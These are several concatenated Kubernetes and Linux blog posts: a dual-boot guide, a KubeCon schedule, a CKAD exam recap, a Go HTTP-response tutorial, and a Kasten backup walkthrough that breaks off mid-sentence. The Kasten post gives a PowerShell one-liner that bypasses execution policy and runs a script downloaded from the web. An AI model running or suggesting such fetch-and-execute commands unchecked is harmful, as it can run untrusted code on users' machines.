- You will be asked to remove the installation media (Live USB). Remove it, and the next thing you should see is the grub screen, where you can select the OS you want to boot into. 
![grub.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/DMT4rA-U_.png)

### Update the Ubuntu applications and packages
After logging in to Ubuntu for the first time, connect to your Wi-Fi network first. Then press ctrl+alt+t to launch the terminal. Run the following commands to update everything to the latest version. After entering a command with `sudo`, you will have to type in the password for the Ubuntu system that you set up:
>Press y every time it is prompted

```
sudo apt-get update
```
This is done to download package information from all configured sources.
```
sudo apt-get upgrade
```
This is done to install available upgrades of all packages currently installed on the system.

### Change the boot order and boot time
Every time you boot up your system, it shows up in the GRUB menu for 10 seconds before selecting the default OS to boot into unless the user has selected something. We will now change this waiting time and the default OS to boot into. Follow the steps to do so:
- While logged in to Ubuntu, open up the terminal (ctrl+alt+t).
- Run the following command
```
sudo apt install grub-customizer
```
- Once installed, search for Grub customizer in the menu and open it.

**Changing boot order**
- To make windows the default OS, select it and move it up the order using the up arrow.
![gc1.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/gPR6KhVwz.png)
- Press the save button and reboot your system.
![gc2.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/o-lPx4AwW.png)

**Changing the waiting time**
- Open the Grub customizer software and go to the **general settings**.
- Change the default boot time to any value.
![gc3.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/auwTx5Vwn.png)
- Save the changes and reboot your system.

#### Troubleshooting
For any issues that you run into, try searching google or [askubuntu](https://askubuntu.com/) for the solutions.

#### References
- [Ubuntu Installation guide](https://help.ubuntu.com/lts/installation-guide/)
- [Change boot order on Ubuntu](https://youtu.be/Yp0dM-tsRl0)

Liked the guide? Want to connect? You can find me [here](https://linktr.ee/arnav_barman). Till then, happy learning!

---

# A beginner's guide to Dualbooting Windows with Ubuntu: Part 1

- Canonical: https://blog.kubesimplify.com/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1
- Published: 2022-04-28
- Summary: It is a technique of keeping multiple live OS on a system.

### What does dual-booting mean?
- It is a technique of keeping multiple live OS on a system.
- Lets us select an OS at the initial boot sequence using **GRUB** (Grand Unified Bootloader - a bootloader utility).

![grub.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1/7g7aHwuy0.png)
- **Advantages** of Dualbooting:
 - Offers the best of both worlds.
 - Gives the choice of selecting an OS for a particular task to the user.
- Why choose Dualboot over a Virtual machine?
 - Dual-booting cuts out the overhead of a virtual machine.
 - Runs both the OS at user hardware's full, native speed, with a catch that only one OS can run at a particular instant. 
- **Disadvantage** of Dualbooting:
 - No multitasking is possible. The user must reboot the system every time to switch to the other OS.
 - Requires a lot of space to be separated for the other OS on the system.

### Before we start: Prerequisites and Compatibility
Today, we will be dual-booting Windows with Ubuntu 20.04 LTS (long-term support).
1. Check the **BIOS mode** of your system for compatibility.
 - Search `System Information` from the start panel.
 - Under the BIOS mode, you can see your boot mode.
 - If it is UEFI, you're good to go. But if it is Legacy, I'll cover it up some other day.

 ![UEFI.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1/NDYCW9sPg.png)

1. Make sure your system matches the requirements for Ubuntu mentioned [here](https://ubuntu.com/download/desktop#:~:text=Recommended%20system%20requirements%3A)
1. Check if you have about 120 GB of free disk space on your system.
1. You will also need an empty USB drive, at least 8 GB in size. 
1. Download the following files and softwares:
 - [Ubuntu 20.04 LTS ISO file](https://ubuntu.com/download/desktop/thank-you?version=20.04.4&architecture=amd64)
 - [Rufus](https://rufus.ie/en/)
1. Check if your drive is BitLocker encrypted
 - Search for `BitLocker` in the start panel. If the Manage Bitlocker settings option does not show up in the search results, your drive is not BitLocker encrypted, and you can proceed with the further steps. But if the settings show up in the results, follow the steps in the expandable section below.

<details>
	<summary>What to do if my drive is BitLocker encrypted?</summary>
 You'll have to disable the encryption before the dualbooting process and re-enable it afterward! First, back up your 40-digit recovery key to reset BitLocker encryption.
![bitlocker-encryption-windows.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1/YNdjsPDnP.png)
Select the backup option and save the recovery key to your Microsoft account.
![encryption key.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1/A5E50BqHs.png)
Crosscheck your Microsoft account for the [saved key](https://account.microsoft.com/devices/recoverykey?refd=support.microsoft.com)
![bitlocker key.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1/PjcHG0o8m.png)
Now, click the disable BitLocker button and wait while the drive is being decrypted.
![disable BitLocker.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1/sZT5fF6rA.png)
Now that you have disabled your BitLocker encryption, continue with the next steps. Also, don't forget to re-enable it from the settings after dual-booting your system (select the *Encrypt used disk space only* and *New encryption mode* when prompted).
![Enable BitLocker.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1/AY8dQ_gSr.png)
</details>

> Note: Make a **backup** of your existing data somewhere before proceeding to the next steps. Also, make a windows recovery disk (to fix any significant boot issues you might run into, this is unlikely to happen, but one must better be prepared than sorry.)

### Disk Partitioning
Now that we have all the requirements complete, let's move on to the next step: Allocating some free space for Ubuntu on our drive manually. We do this as sometimes the option for it is not available during the installation process. The steps for the same are: 
1. In windows, launch the disk management tool (Win key+x, then select disk management from the list)
1. Select the drive where you want to allocate the free space.
![disk_mgmt.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1/Wrd8e3O2K.png)
1. Right-click on it and select the shrink volume option
![shrink vol.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1/fYQ7DHBXX.png)
1. Fill in the amount of space you need to allocate for ubuntu (This depends on the resources you need in ubuntu, anywhere from 60-80 GB might suffice). We are making an unallocated space of 120 GB (120*1024 = 131072 MB).
![shrink menu.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1/fj7EsmPMt.png)
>Note: Try to leave a bit of available space if you are creating a partition in your C drive as the Windows OS is also present in the same drive, and it might require some free space in the later day-to-day use.
1. Click on the Shrink button, and you will see an unallocated data partition in your disk management tool in a moment.

>Warning: Do not forget to make a backup of your data before starting the disk partitioning, as you might lose your data during this.

### Creating a bootable flash drive for Ubuntu
Now we need to flash our iso file onto our USB drive to boot into ubuntu and install it in the unallocated space in our drive. Plug the USB drive into your system and follow these steps:
1. Open **Rufus** and select your USB drive from the dropdown menu.
1. Press the select button, browse for the downloaded Ubunto ISO file, and select it.
1. Select the **GPT** partition scheme from the dropdown menu and ensure the target system is **UEFI**.
1. In the format options, select **FAT32** file system and set the cluster size to default.
1. Make sure all the settings look similar to the screenshot attached below, and press the **Start button**.
1. Now, wait for the process to complete, which will render you the bootable drive for your Ubuntu installation.

![rufus.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1/M0hVsWRSh.png)

>You can format your flash drive to bring it back to normal after ubuntu installation.

### The next steps
If you have been able to follow along till this point without any issues, congratulations! You're halfway through the process. Follow along in the second part of the guide to complete the dual-booting process!

#### References
- [Ubuntu Installation guide](https://help.ubuntu.com/lts/installation-guide/)
- [Dualboot with Bitlocker Encryption](https://youtu.be/dEDvGyuK9e0?t=172)

Liked the guide so far? Want to connect? You can find me [here](https://linktr.ee/arnav_barman). Till then, happy learning!

---

# My Schedule for KubeCon + CloudNativeCon EU 2022

- Canonical: https://blog.kubesimplify.com/my-schedule-for-kubecon-cloudnativecon-eu-2022
- Published: 2022-04-27
- Summary: KubeCon + CloudNativeCon is the best conference in the cloud native ecosystem. With the number of submissions that go in, the selection process and then the

KubeCon + CloudNativeCon is the best conference in the cloud native ecosystem. With the number of submissions that go in, the selection process and then the amazing schedule, everything is great! 

With KubeCon 2022 EU just around the corner, it's time we start building the schedule. many amazing talks as always but in the end, you can only attend a few whether in person or virtual. I will be attending KubeCon virtually this year, and below are the talks that I am personally looking forward to. 

### Day1 

- First would obviously be the keynotes (9 - 10:20am CEST)
![image.png](/img/blog/my-schedule-for-kubecon-cloudnativecon-eu-2022/Cya9ED38B.png)

Always looking forward to what Priyanka has in store for the cloud native community. Also, would be interesting to hear the key learnings from Mercedes from their 7 years Kubernetes journey followed by other keynote sessions on energy efficiency for cloud native infra, community and deep learning for satellite.

 - 10:30 am CEST 
I will grab a cup of coffee and also listen to the [WASM project office hours](https://sched.co/10G4W). I am interested to know what has evolved and where the ecosystem is moving ahead wrt cloud native. 

- 11:00 CEST
The session I am looking forward to is [Volcano intro and deep dive](https://sched.co/ytky).
Volcano.sh is a cloud native batch scheduling system for compute-intensive workloads, especially the ML and DL workloads. I want to get started and learn more about this project. 

-  11:30 am CEST 
It's again a virtual office hours session, I might take a break to recharge myself for the next set of sessions and I will put on the [Kubevirt office hours](https://sched.co/10GCG).
KubeVirt is a great piece of tech helping you run VM workloads sided by side container workloads and use the power of Kubernetes for VM's so would be interesting to see what is coming next in KubeVirt. 

- 11:55 am CEST 
I want to attend a couple of sessions during this time, so I will mark one for later, but the one I will watch is debugging with ephemeral containers. I recently posted a Tweet as well wherein I did mention it and I want to know more troubleshooting and debugging techniques using ephemeral containers. 

%[https://twitter.com/I_saloni92/status/1513710771087155204]

- 12:30 to 14:30 CEST 
It's a lunch break plus virtual office hours. It depends on how much energy I still have and if I can take another office hour. I will either go for Crossplane as I am really interested to see where they are going next or Pixie.

- 14:30 CEST 
I would be interested to see how a [container-as-a-service platform can be built](https://sched.co/11LVP) on top of Kubernetes using Knative. Knative is an amazing piece of tech, so I would be excited to see how to build something similar to cloud run! 

- 15:25 CEST
Kubernetes autoscale - HPA/VPA and even the cluster autoscalers are great. It becomes important to define the right size for your application and how to setup the HPA/VPA for your workloads. Looking forward to learning it in a practical way in [this talk](https://sched.co/ytmH). 

- 16:30 CEST 
I am interested in attending two talks here:
Cold starts and autoscaling are the two major issues of a serverless platform, so I would like to understand how people are trying to fix this issue in [this talk](https://sched.co/ytmx).  
The watch later one is [From Kubernetes to PaaS to … Err, What’s Next?](https://sched.co/ytn0)

- 17:25 CEST
[Building a Nodeless Kubernetes Platform](https://sched.co/ytnX) - this talk will be interesting as this will give an insight into how GKE autopilot was built, and what were the tradeoffs. It will also explain what really the nodeless Kubernetes means, is it just that the principles remain the same and the rest of the game is changed? looking forward to this talk. 

### Day 2

- 9 CEST

Starting the day with keynotes, Kubernetes project updates that will tell the direction where it is headed in the future, software supply chain and how to make platforms more accessible to developers. 

![image.png](/img/blog/my-schedule-for-kubecon-cloudnativecon-eu-2022/t8X93Ql0A.png)
![image.png](/img/blog/my-schedule-for-kubecon-cloudnativecon-eu-2022/lxHL5VXFI.png)

- 11 CEST
[Fun with Continuous Compliance](https://sched.co/ytnv) -  I would like to see how we can implement continuous compliance in our existing DevSecOps pipelines using tools like Falco and Voucher.

- 11:30 CEST 
I would either be on a break or just attend the helm office hours. 

- 11:55 CEST
I am interested in Two sessions here -[Cert manager one](https://sched.co/ytok) to see its advantages, implementation and usage with LetsEncrypt and Vault; [adding events to kubectl commands](https://sched.co/ytoe).
Since I can only watch 1 at a time, so I would go for the cert-manager one! 

- 14:30 CEST 
After the lunch break, I would like to go for [building your own Cluster API provider,](https://sched.co/ytp2) I think this would be fun to learn, and I would like to try it as well. 

- 15:25 CEST
[Alerting in the Prometheus ecosystem](https://sched.co/ytpf) - Alerting is a major component when it comes to monitoring Kubernetes, I would like to understand the current cortex alert management system and how it is being used as a baseline to improve the Prometheus alert manager. 

- 16:30 CEST
After a coffee break, the talk that I would be watching is definitely on [supply chain security](https://sched.co/ytq9). This term gain a lot of hype and importance in the past few months, so it would be great to understand how to implement SLSA in current pipelines. 

- 17:25 CEST
I am a fan of Chaos engineering and I will be attending the talk [Cloud-Native Chaos Engineering with LitmusChaos](https://sched.co/ytr7). I would like to understand cloud native chaos engineering, principles and how LitmusChaos has evolved to tackle the cloud native chaos engineering problems. I Will try to attend the happy hour after that if possible. 

### Day 3 

- 9 am CEST 
Another day and another set of Keynotes to understand the project strategy in the CNCF ecosystem, and best practices for securing CI/CD pipelines. Canary clusters would be interesting to understand how the whole platform can be built so that it can be recreated with ease in a minimum time and automated way. 

![image.png](/img/blog/my-schedule-for-kubecon-cloudnativecon-eu-2022/TdwGkPbYW.png)
![image.png](/img/blog/my-schedule-for-kubecon-cloudnativecon-eu-2022/UjUcB4Udp.png)

- 11 am CEST 
Interesting sessions during this time, but I would like to attend the [Kubernetes networking 101 session](https://sched.co/ytrV), as I want to learn more about how communications work in detail within Kubernetes. 

- 11:55 CEST 
[Show Me Your Labels and I’ll Tell You Who You Are](https://sched.co/ytrz) - Would attend this one to take a look at the power of Labels in the observability space. 

- 14:00 CEST 
I told you I am a chaos engineering fan, so I would want to have a look at this new chaos engineering tool Konrade which is an open source Security Chaos Engineering (SCE) Tool for K8s in the talk - [Komrade: an Open-Source Security Chaos Engineering (SCE) Tool for K8s](https://sched.co/ytsf)

- 14:55 CEST
[The CNI plugin debugging talk](https://sched.co/ytta) sounds looks interesting, so I will be going for it, It wil be a huge plus to get to know how to debug CNI in production and even the best practices around it. 

- 16:00 CEST 
Never miss a talk from Liz Rice!! Yes that is true, she will be giving [a guided tour of cilium service mesh](https://sched.co/yttj) which is sidecarless eBPF enabled! I am sure it will be a treat to watch.

- 16:55 CEST
[Last but not the least, I will attend this panel session](https://sched.co/ytuG) - Navigating the CNCF landscape, the right way. I would be interested to know the thought process while navigating the huge landscape when you are finding something to solve a specific problem.


Well, They are the Core KubeCon days, but there are many Co-Located events as well that will happen on the 16th and 17th of May. It requires additional registration and fees(if in person, for virtual it's included in registration) but they will be epic. I have not yet planned, but I am more oriented towards the WASM day and Knative on the 17th. 

There are great options to choose from!!
![image.png](/img/blog/my-schedule-for-kubecon-cloudnativecon-eu-2022/_ZVl4nf_J.png)

![image.png](/img/blog/my-schedule-for-kubecon-cloudnativecon-eu-2022/74KXIYsoH.png)

So those are the session that I am looking forward to this KubeCon-CloudNativeCon EU 2022. What are your favourite session that you are looking forward to attending? Put them in the comments. 


Saloni Narang

Twitter - @I_saloni92

---

# CKAD Exam - April 2022

- Canonical: https://blog.kubesimplify.com/ckad-exam-april-2022
- Published: 2022-04-27
- Summary: This exam focuses on all the aspects of K8S which is required by a developer/admin to build, deploy, scale, and do other useful pieces of stuff for the appl

So, Yesterday I appeared for the **[Certified Kubernetes Application Developer (CKAD)](https://www.cncf.io/certification/ckad/)** exam, which is one of the coolest and simplest ones in the Kubernetes series of certifications.

This exam focuses on all the aspects of K8S which is required by a developer/admin to build, deploy, scale, and do other useful pieces of stuff for the applications. If we try to bullet point these, those would be:

- Application Design and Build
- Application Deployment
- Application Observability and Maintenance
- Application Environment, Configuration and Security
- Services and Networking

## Finally, he is talking about the exam !!

I don't  want to put "TL;DR" 😋 , So directly coming to the exam details:

After CNCF announces the changes in the CKAD exam pattern last year in Sep 2021, There are a few new things in the [curriculum](https://github.com/cncf/curriculum/blob/master/CKAD_Curriculum_v1.23.pdf)

- Define, build and modify container images
-  Use Kubernetes primitives to implement common deployment strategies (e.g. blue/ green or canary) 
- Use the Helm package manager to deploy existing packages
- Understand API depredations
- Discover and use resources that extend Kubernetes (CRD)
- Understand authentication, authorization and admission control

**There was at least one question from all the above points in the exam.** As far as I recall, most of them were 8% of the weightage.

### Scenarios:

There were total 16 questions in the exam that needed to be completed in 2 hours of time.


**Question 1 :**

* Deploy a pod name `james` with `nginx:alpine` image. 
* Create a secret name `sample-secret` with date `key1=value1`. 
* Add an environment variable `FRONT_ROW` and use the created secret's key1's value as value for the ENV variable.


**Question 2:**

* Create a Docker image with the given Dockerfile. Tag for the docker was given in the question.
* Export the docker image as OCI-format to create a tar file with that.

**Question 3:**

* Create a cronjob with the given name. Image, Schedule was given in the question.
* Keep 3 success and 2 Failed history configuration
* Terminate the pod after 8 seconds
* Run a job from the cronjob we created.

**Question 4:**

* Create a canary deployment for a given Application.
* Sent 30% of the traffic to the deployed canary pods. Service was already present for the application

**Question 5:**

* There was a deployment file that was defined as the k8s version 1.15. Like `apiVersion` was old, the definition file was also in the old format. We needed to change it according to the latest version of the Kubernetes, i.e. 1.23

**Question 6:**

* There was one application which was getting failed in some namespace. We need to find out the reason for the failure.
* Write the <namespace>/<app_name> in a mentioned file.
* Write down the `kubectl get events` for that failing application in a mentioned file.
* Fix the issue.

**Question 7:**

* There was an application running in some namespace which was getting failed due to low resource allocation, needed to assign it the proper resource.
* Scale the application to 5 pods.

**Question 8:**

* Deployment file was already given for an application. We needed to modify the apiVerision.
* Run a POD with 30001 user
* Disable privilege escalation for the pod

**Question 8:**

* Update a given deployment with the `RollingUpdate` strategy
* Surge 5 and max unavailable 40%

**Question 9:**

* Application architecture was given in a diagram. We needed to create a Network Policy for the database pods to accept the traffic only from the API pods.
* Needed to create a network policy to deny all requests to the frontend from a specific IP.

**Question 10:**

* Create a `pod` with the Nginx image and expose that pod to port 8083 port. Labels were given for the pod which we needed to use in the POD definition file.
* Create a `service` for that pod and expose that to a NodePort 30080 port

**Question 11:**

* Create a persistent volume with the given access modes, type and storage 1Gi. The name of the PV was given.
* Create a persistent volume claim with the 200Mi. PVC name  was given
* Use this in a Deployment definition file and send the log of the pod to the volume attached at the given location.

**Question 12:**

* Create a Pod definition file with the given name, image and labels. 
* Run the given command at the startup of the pod.

**Question 13:**

* Deployment rollout with the image change without changing the Deployment file.
* Return to the previous version of the rollout



A couple of more questions were there, which I am not able to recall right now. As I will remember them, I will keep on adding them.

### Time Management is the key:

Time Management is very important in these exams. You need to have enough practice for the kubectl commands (Imperative commands) to identify the issues, Listing, making changes. This saves a lot of time.

That's all for this blog. Feel free to drop comments if you have any further questions :)

---

# Demystifying API Response in Go

- Canonical: https://blog.kubesimplify.com/api-response-in-go
- Published: 2022-04-26
- Summary: How to handle API response as text, HTML or JSON using GoLang.

In this tutorial, we will go through a simple Request/Response flow where we will write a GO program to handle a request from the API. 

Let's dive into the code directly!!

Let's try to understand what is needed to make this program functional :

```
import (
	"fmt"
	"net/http"
)
```

First, we need to import two packages `http` and `fmt` from go standard library.
`http` package has `ResponseWriter` - this is used to send the data and `Request` - this is for reading the request that is sent by the API.

Next, we create a handler function with two arguments - ResponseWriter and Request and use 
fmt package `FPrintf` function to add a response to the writer object. 

```
func handleMe(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintf(w, "We got this!")
}
```

`http.HandleFunc("/", handleMe)`
HandleFunc function from the http package is used to route the URL path to the handler function - handleMe

Lastly, we are using the **ListenAndServe** function from http to start and listen to the server on a port. The two arguments here are the port to bind and the handler that is usually nil, which means to use **DefaultServeMux**.  **HandleFunc** takes two arguments, one for the path and another for the function to be called on that path. 


```
http.HandleFunc("/", handleMe)
http.ListenAndServe(":8181", nil)
```

Let's see how the complete program looks like 

```
package main

import (
	"fmt"
	"net/http"
)

func handleMe(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintf(w, "We got this!")
}

func main() {
	http.HandleFunc("/", handleMe)
	http.ListenAndServe(":8181", nil)
}

```

Let's run the program 
`go run main.go`
```
curl localhost:8181
We got this!
```
You can also see the same from the Web UI 

![image.png](/img/blog/api-response-in-go/ldKdJH5np.png)

### Another handler path
You can extend this by adding another handler for a separate path 

```
func handleFollow(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintf(w, "Follow Kubesimplify")
}
```
and add this to main() -> `http.HandleFunc("/follow", handleFollow)`

The complete program now becomes 

```
package main

import (
	"fmt"
	"net/http"
)

func handleMe(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintf(w, "We got this!")
}

func handleFollow(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintf(w, "Follow Kubesimplify")
}
func main() {
	http.HandleFunc("/", handleMe)
	http.HandleFunc("/follow", handleFollow)
	http.ListenAndServe(":8181", nil)
}
```


When you run it, your code will be able to handle `localhost:8181` and `localhost:8181/follow`


![image.png](/img/blog/api-response-in-go/Z-4gRsxdX.png)


### JSON Response
Now most of the times when  we are interacting with the API's we deal with JSON objects, so when we hit a particular endpoint, we get a JSON response back. In order to send JSON object as a response we need to first create a struct. 

```
type Kubesimplify struct {
	Website string `json:"website"`
	Twitter string `json:"twitter"`
	Sponsor string `json:"sponsor"`
	Founder string `json:"founder"`
}
```
It is basically a new datatype that we define and can use in our handler function, the key in the JSON is mentioned after the `data_type` of each field, these are called field tags. Let's create the JSON handler function.

```
func handleJson(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("Content-Type", "application/json")
	kubesimplify := Kubesimplify{
		Website: "kubesimplify.com",
		Twitter: "@kubesimplify",
		Sponsor: "kubesimplify.com/sponsor",
		Founder: "Saiyam Pathak",
	}
	json.NewEncoder(w).Encode(kubesimplify)
}

```
Here we construct a new instance of type Struct called `kubesimplify` and encode that using the `NewEncoder` function from the `json` package that get the JSON encoding of any types and then writes it to the `ResponseWriter` object which in this case is `w`.

The complete program now becomes 

```
package main

import (
	"encoding/json"
	"fmt"
	"net/http"
)

func handleMe(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintf(w, "We got this!")
}

func handleFollow(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintf(w, "Follow Kubesimplify")
}

type Kubesimplify struct {
	Website string `json:"website"`
	Twitter string `json:"twitter"`
	Sponsor string `json:"sponsor"`
	Founder string `json:"founder"`
}

func handleJson(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("Content-Type", "application/json")
	kubesimplify := Kubesimplify{
		Website: "kubesimplify.com",
		Twitter: "@kubesimplify",
		Sponsor: "kubesimplify.com/sponsor",
		Founder: "Saiyam Pathak",
	}
	json.NewEncoder(w).Encode(kubesimplify)
}
func main() {
	http.HandleFunc("/", handleMe)
	http.HandleFunc("/follow", handleFollow)
	http.HandleFunc("/json", handleJson)
	http.ListenAndServe(":8181", nil)

}

```
When you run this program `go run main.go` and do `curl localhost:8181/json`, it will give the JSON response back. 

```
curl localhost:8181/json
{"website":"kubesimplify.com","twitter":"@kubesimplify","sponsor":"kubesimplify.com/sponsor","founder":"Saiyam Pathak"}
```
From the Web 

![image.png](/img/blog/api-response-in-go/ggUD_MuAG.png)

### HTML response 
The way json response was sent, you can use `html/template` package and form `template` you can use the `ParseFiles` to load the HTML. 

So first let's create the Html file 

```
<html>
<body style="font-family: 'Poppins', sans-serif; font-weight: bold; line-height: 2rem; font-size:1.3rem; color: white; text-align: center; padding: 15px; background-color: #1B2731">
        <h3>Website : {{.Website}}</h3>
        <h3>Twitter : {{.Twitter}}</h3>
        <h3>Sponsor : {{.Sponsor}}</h3>
        <h3>Founder : {{.Founder}}</h3>
    </body>
</html>

```
Now, create another handler function where the `Content-Type` will be `text/html` instead of `application/json`, use the `ParseFile` function from the `html/template` package to parse the demo.html that you created above. The Execute() function takes 
the writer `w` and applies the parsed template to the data object.

```
func handleHtml(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("Content-Type", "text/html; charset=utf-8")
	t, err := template.ParseFiles("demo.html")
	if err != nil {
		fmt.Fprintf(w, "Unable to load the file")
	}

	kubesimplify := Kubesimplify{
		Website: "kubesimplify.com",
		Twitter: "@kubesimplify",
		Sponsor: "kubesimplify.com/sponsor",
		Founder: "Saiyam Pathak",
	}
	t.Execute(w, kubesimplify)
}
```
The complete program now becomes 

```
package main

import (
	"encoding/json"
	"fmt"
	"html/template"
	"net/http"
)

func handleMe(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintf(w, "We got this!")
}

func handleFollow(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintf(w, "Follow Kubesimplify")
}

type Kubesimplify struct {
	Website string `json:"website"`
	Twitter string `json:"twitter"`
	Sponsor string `json:"sponsor"`
	Founder string `json:"founder"`
}

func handleJson(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("Content-Type", "application/json")
	kubesimplify := Kubesimplify{
		Website: "kubesimplify.com",
		Twitter: "@kubesimplify",
		Sponsor: "kubesimplify.com/sponsor",
		Founder: "Saiyam Pathak",
	}
	json.NewEncoder(w).Encode(kubesimplify)
}
func handleHtml(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("Content-Type", "text/html; charset=utf-8")
	t, err := template.ParseFiles("demo.html")
	if err != nil {
		fmt.Fprintf(w, "Unable to load the file")
	}

	kubesimplify := Kubesimplify{
		Website: "kubesimplify.com",
		Twitter: "@kubesimplify",
		Sponsor: "kubesimplify.com/sponsor",
		Founder: "Saiyam Pathak",
	}
	t.Execute(w, kubesimplify)
}

func main() {
	http.HandleFunc("/", handleMe)
	http.HandleFunc("/follow", handleFollow)
	http.HandleFunc("/json", handleJson)
	http.HandleFunc("/html", handleHtml)
	http.ListenAndServe(":8181", nil)

}

``` 
When you run this program `go run main.go` and do `curl localhost:8181/html`, it will give the HTML response back. 

```
curl localhost:8181/html
<html>
<body style="font-family: 'Poppins', sans-serif; font-weight: bold; line-height: 2rem; font-size:1.3rem; color: white; text-align: center; padding: 15px; background-color: #1B2731">
        <h3>Website : kubesimplify.com</h3>
        <h3>Twitter : @kubesimplify</h3>
        <h3>Sponsor : kubesimplify.com/sponsor</h3>
        <h3>Founder : Saiyam Pathak</h3>
    </body>
</html>
```
From the Web 

![image.png](/img/blog/api-response-in-go/0Q0h0fgV3.png)

Hope that explains, how to create a simple API and handle the response for a request as plain text, JSON and HTML!  

For more such articles - Follow Kubesimplify

---

# How to backup Kubernetes with Kasten Community Edition?

- Canonical: https://blog.kubesimplify.com/how-to-backup-kubernetes-with-kasten-community-edition
- Published: 2022-04-25
- Summary: Data protection has become one of the fundamental aspects of IT security. The need to back up data is no longer just an \"Enterprise endeavor\".

Data protection has become one of the fundamental aspects of IT security. The need to back up data is no longer just an "Enterprise endeavor" but also essential for the average user in both offices and homes.

The situation with Kubernetes is no different. While Kubernetes has many self-healing features and is very robust, nevertheless it is also vulnerable to all the threats that exist for conventional IT systems.

Today, I want to walk you through your own Kubernetes backup exercise. We will start by creating a Minikube single node cluster on Windows 11. We will then deploy a simple application and back it up, leveraging Kasten by Veeam community edition. 

To start off with, we will install the windows package manager Chocolatey. The installation instructions can be found here: [https://chocolatey.org/install](Link) 

In fact, all you need to do to perform the installation is to enter this PowerShell command:

```
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
```

You should see something like this as the installation progresses:

![Picture1.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/DEmjEvVKl.png)

Now that Chocolatey is ready, we are all set to install Minikube and some other components necessary for our project.

Using chocolatey is very simple and in order to install Minikube we need only type 

```
choco install minikube
```

It will ask to confirm the script run:


![Picture1.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/xKOlvj_JT.png)

We also want to install helm. Helm is a package manager for Kubernetes and later on we will use it for our Kasten deployment:

choco install kubernetes-helm
 
If you are used to using Linux bash CLI, then you can also install the Windows subsystem for Linux by typing:

```
wsl --install
```



This will require a reboot. 

![Picture1.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/LaEwbT3rk.png)

It is now time to set up our cluster. We are going to use Kubernetes version 1.22.3 and enable some add-ons that will help us emulate production, like volumesnapshots and the csi-hostpath-driver. In my Windows 11 I enabled Hyperv, but you could also use Virtualbox.



```
minikube start --addons volumesnapshots,csi-hostpath-driver --container-runtime=containerd --kubernetes-version=1.22.3 --vm-driver=hyperv --force
```

After completing, you should see something like this:

![Picture1.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/6B2QdD4VB.png)

We want our csi-hostpath-sc (storageclass) to be the only storageclass in the cluster, so we will disable the default storage class that comes with Minikube:

```
minikube addons disable default-storageclass
```

We will now edit our csi-hostpath-sc and make it the default one by typing:

```
kubectl edit sc csi-hostpath-sc
```

which in windows will open notepad, and we want to change the false to true in here:


![Screen Shot 2022-04-16 at 5.01.54 PM.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/Oto3_X1TQ.png)

We are now ready to install our application:


First, let's create a namespace named nginx:


```
kubectl create ns nginx
```

Next copy this the contents of this file below into a file called nginx.yaml


```
kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: nginxpvcclaim
  namespace: nginx
spec:
  accessModes:
    - ReadWriteMany
  resources:
    requests:
      storage: 1Gi
---
kind: Pod
apiVersion: v1
metadata:
  name: nginxwebsite
  namespace: nginx
  labels: 
    run: nginx
spec:
  volumes:
    - name: storage
      persistentVolumeClaim:
       claimName: nginxpvcclaim
  containers:
    - name: nginxwebsite
      image: nginx
      ports:
        - containerPort: 80
          name: "http-server"
      volumeMounts:
        - mountPath: "/usr/share/nginx/html"
          name: storage
```

Now create the application


kubectl create -f nginx.yaml

This will create a pod with persistent storage that we can backup later.


![Screen Shot 2022-04-16 at 10.06.05 PM.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/h1oE3jJDZ.png)

It is now time to install Kasten.

The Kasten documentation can be found here: [https://docs.kasten.io/latest/](Link)

Let's create a namespace:

```
kubectl create ns kasten-io
```

Add the Kasten helm repo

```
helm repo add kasten https://charts.kasten.io/
```

We will need to tell Kasten what the default snapshotclass is with this command:

 ```
kubectl annotate volumesnapshotclass csi-hostpath-snapclass k10.kasten.io/is-snapshot-class=true
```

We are ready now to install. 

```
helm install k10 kasten/k10 -namespace=kasten-io --set global.persistence.storageClass=csi-hostpath-sc
```

You should now see this:


![Screen Shot 2022-04-17 at 10.00.54 AM.png](/img/blog/how-to-backup-kubernetes-with-kasten-community-edition/KAMYnCiP3.png)

After a few minutes, the Kasten Dashboard should be accessible :

```
kubectl --namespace kasten-io port-forward service/gateway 8080:8000
```

Open your browser and head to address:
